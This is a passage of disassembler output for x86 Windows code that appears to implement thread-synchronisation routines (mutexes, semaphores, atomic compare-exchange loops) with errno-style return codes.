		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D72:				; CODE XREF: sub_433CE0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_433D7E:				; CODE XREF: sub_433CE0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433D85:				; CODE XREF: sub_433CE0+19j
					; sub_433CE0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_433CE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433DC0	proc near		; CODE XREF: sub_4021B2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433DF9
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_433DF4
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_433DF4
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433DF4:				; CODE XREF: sub_433DC0+1Bj
					; sub_433DC0+23j
		mov	eax, 16h


loc_433DF9:				; CODE XREF: sub_433DC0+12j
		pop	esi
		retn
sub_433DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E10	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E23
		cmp	eax, 2
		jg	short loc_433E23
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_433E23:				; CODE XREF: sub_433E10+6j
					; sub_433E10+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433E50	proc near		; CODE XREF: sub_401555j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_433E63
		cmp	eax, 2
		jg	short loc_433E63
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_433E63:				; CODE XREF: sub_433E50+6j
					; sub_433E50+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_433E50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433E90:				; CODE XREF: ___:00401ADCj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433ED5
		call	near ptr 2750C8Ch
		nop
		cmp	esi, eax
		jz	short loc_433ED5
		push	esi
		push	0
		push	200h
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_433ED5
		nop
		call	near ptr 27C085Dh
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433ED5:				; CODE XREF: ___:00433E97j
					; ___:00433EA1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433EEE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433EEE:				; CODE XREF: ___:00433EDBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F20:				; CODE XREF: ___:00401514j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433F65
		call	near ptr 2750C8Ch
		nop
		cmp	esi, eax
		jz	short loc_433F65
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_433F65
		call	near ptr 27C085Dh
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433F65:				; CODE XREF: ___:00433F27j
					; ___:00433F31j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433F90:				; CODE XREF: ___:00401B5Ej
		push	0
		nop
		call	near ptr 284020Fh
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433FB0	proc near		; CODE XREF: sub_401C8Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_433FCF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433FCF:				; CODE XREF: sub_433FB0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433FE7
		mov	edi, 0Ch


loc_433FE7:				; CODE XREF: sub_433FB0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 2750648h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_434014
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434014:				; CODE XREF: sub_433FB0+4Fj
		test	edi, edi
		jz	short loc_434026
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434026:				; CODE XREF: sub_433FB0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_433FB0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434070	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_434095
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_434095
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 2840A54h
		test	eax, eax
		jnz	short loc_4340A7
		mov	[edi], esi


loc_434095:				; CODE XREF: sub_434070+8j
					; sub_434070+Ej
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4340A7:				; CODE XREF: sub_434070+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_434070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4340E0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434113
		mov	eax, [eax]
		push	0
		push	eax
		call	near ptr 278043Ch
		nop
		cmp	eax, 102h
		jnz	short loc_434125
		mov	esi, 0Bh
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434113:				; CODE XREF: sub_4340E0+7j
					; sub_4340E0+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434125:				; CODE XREF: sub_4340E0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434150	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43417D
		mov	eax, [eax]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0B146E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_43417D:				; CODE XREF: sub_434150+7j
					; sub_434150+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_434150	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4341C0	proc near		; CODE XREF: sub_4018A7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_4341E3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4341E3:				; CODE XREF: sub_4341C0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_4341F2
		or	ebx, 0FFFFFFFFh
		jmp	short loc_434251
; ---------------------------------------------------------------------------


loc_4341F2:				; CODE XREF: sub_4341C0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_434251
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_434251
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_434251
		dec	ebx


loc_434251:				; CODE XREF: sub_4341C0+30j
					; sub_4341C0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D84
sub_4341C0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0B04EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4342D0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4342EF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 27503DAh
		test	eax, eax
		jnz	short loc_4342FF


loc_4342EF:				; CODE XREF: sub_4342D0+6j
					; sub_4342D0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4342FF:				; CODE XREF: sub_4342D0+1Dj
		xor	eax, eax
		retn
sub_4342D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434320	proc near		; CODE XREF: sub_402068j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_434346
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_434346
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_434346
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		nop
		call	near ptr 27503DAh
		test	eax, eax
		jnz	short loc_434356


loc_434346:				; CODE XREF: sub_434320+6j
					; sub_434320+Cj ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_434320+24j
		xor	eax, eax
		retn
sub_434320	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434370:				; CODE XREF: ___:0040143Dj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4343BD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4343BD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4343BD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 278043Ch
		cmp	eax, 102h
		jnz	short loc_4343A1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343A1:				; CODE XREF: ___:00434398j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 27503DAh
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4343BD:				; CODE XREF: ___:00434378j
					; ___:0043437Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4343F0:				; CODE XREF: ___:0040222Fj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434410:				; CODE XREF: ___:00402031j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434430:				; CODE XREF: ___:00401CC6j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434450	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510940
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434484
		push	esi
		push	ecx
		call	sub_402211
		add	esp, 8
		mov	esi, eax
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434484:				; CODE XREF: sub_434450+17j
		test	eax, eax
		jnz	short loc_43448D
		mov	esi, 16h


loc_43448D:				; CODE XREF: sub_434450+36j
		push	offset dword_510940
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_434450	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4344C0	proc near		; CODE XREF: sub_402211j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4344DE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4344DE:				; CODE XREF: sub_4344C0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C3A
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_434519
		mov	[esp+14h+var_4], 1


loc_4344FB:				; CODE XREF: sub_4344C0+5Ej
					; sub_4344C0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434530
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434519:				; CODE XREF: sub_4344C0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_4344FB
		cmp	ebx, 1
		jnz	short loc_4344FB
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_434530:				; CODE XREF: sub_4344C0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43454D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43454D:				; CODE XREF: sub_4344C0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A1E
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_434583
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_434583
		mov	dword ptr [esi], 3


loc_434583:				; CODE XREF: sub_4344C0+9Ej
					; sub_4344C0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_43459F
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43459F:				; CODE XREF: sub_4344C0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4344C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434600:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4346A5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4346A5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_434668
		cmp	dword ptr [esi], 3
		jnz	short loc_43464D
		lea	eax, [esi+4]
		push	eax
		call	sub_402252
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_43469F


loc_434637:				; CODE XREF: ___:0043465Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43464D:				; CODE XREF: ___:00434623j
		push	1
		push	0
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_434637
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434668:				; CODE XREF: ___:0043461Ej
		push	offset dword_510940
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43468F
		push	offset dword_510940
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43468F:				; CODE XREF: ___:00434676j
		push	offset dword_510940
		mov	ebx, 10h
		call	near ptr 7C9010EDh
		nop


loc_43469F:				; CODE XREF: ___:00434635j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4346A5:				; CODE XREF: ___:0043460Bj
					; ___:00434615j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4346E0:				; CODE XREF: ___:004021E4j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434741
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434741
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434701
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434746


loc_434701:				; CODE XREF: ___:004346F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_434723


loc_434713:				; CODE XREF: ___:00434721j
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_434713


loc_434723:				; CODE XREF: ___:00434711j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43472E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43472E:				; CODE XREF: ___:00434728j
		cmp	eax, 3
		jnz	short loc_434741
		add	esi, 4
		push	esi
		call	sub_402248
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434741:				; CODE XREF: ___:004346E7j
					; ___:004346EDj ...
		mov	eax, 16h


loc_434746:				; CODE XREF: ___:004346FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434770:				; CODE XREF: ___:00401AB9j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4347B1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4347B1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43478B


loc_434784:				; CODE XREF: ___:00434797j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43478B:				; CODE XREF: ___:00434782j
		push	2
		push	1
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_434784
		dec	eax
		jz	short loc_4347AD
		dec	eax
		jnz	short loc_4347B1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347AD:				; CODE XREF: ___:0043479Aj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4347B1:				; CODE XREF: ___:00434777j
					; ___:0043477Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4347E0:				; CODE XREF: ___:00401942j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_434830
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_434830
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_434801
		push	esi
		call	sub_4019A1
		add	esp, 4
		test	eax, eax
		jnz	short loc_434835


loc_434801:				; CODE XREF: ___:004347F2j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43482C
		dec	eax
		jz	short loc_434825
		dec	eax
		jnz	short loc_434830
		add	esi, 4
		push	esi
		call	sub_401785
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434825:				; CODE XREF: ___:00434812j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43482C:				; CODE XREF: ___:0043480Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434830:				; CODE XREF: ___:004347E7j
					; ___:004347EDj ...
		mov	eax, 16h


loc_434835:				; CODE XREF: ___:004347FFj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_434860:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43488C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_434887
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434887:				; CODE XREF: ___:0043487Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43488C:				; CODE XREF: ___:00434872j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4348A0	proc near		; CODE XREF: sub_401767j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0B6EEE890h, 0C0850231h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 2740783h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
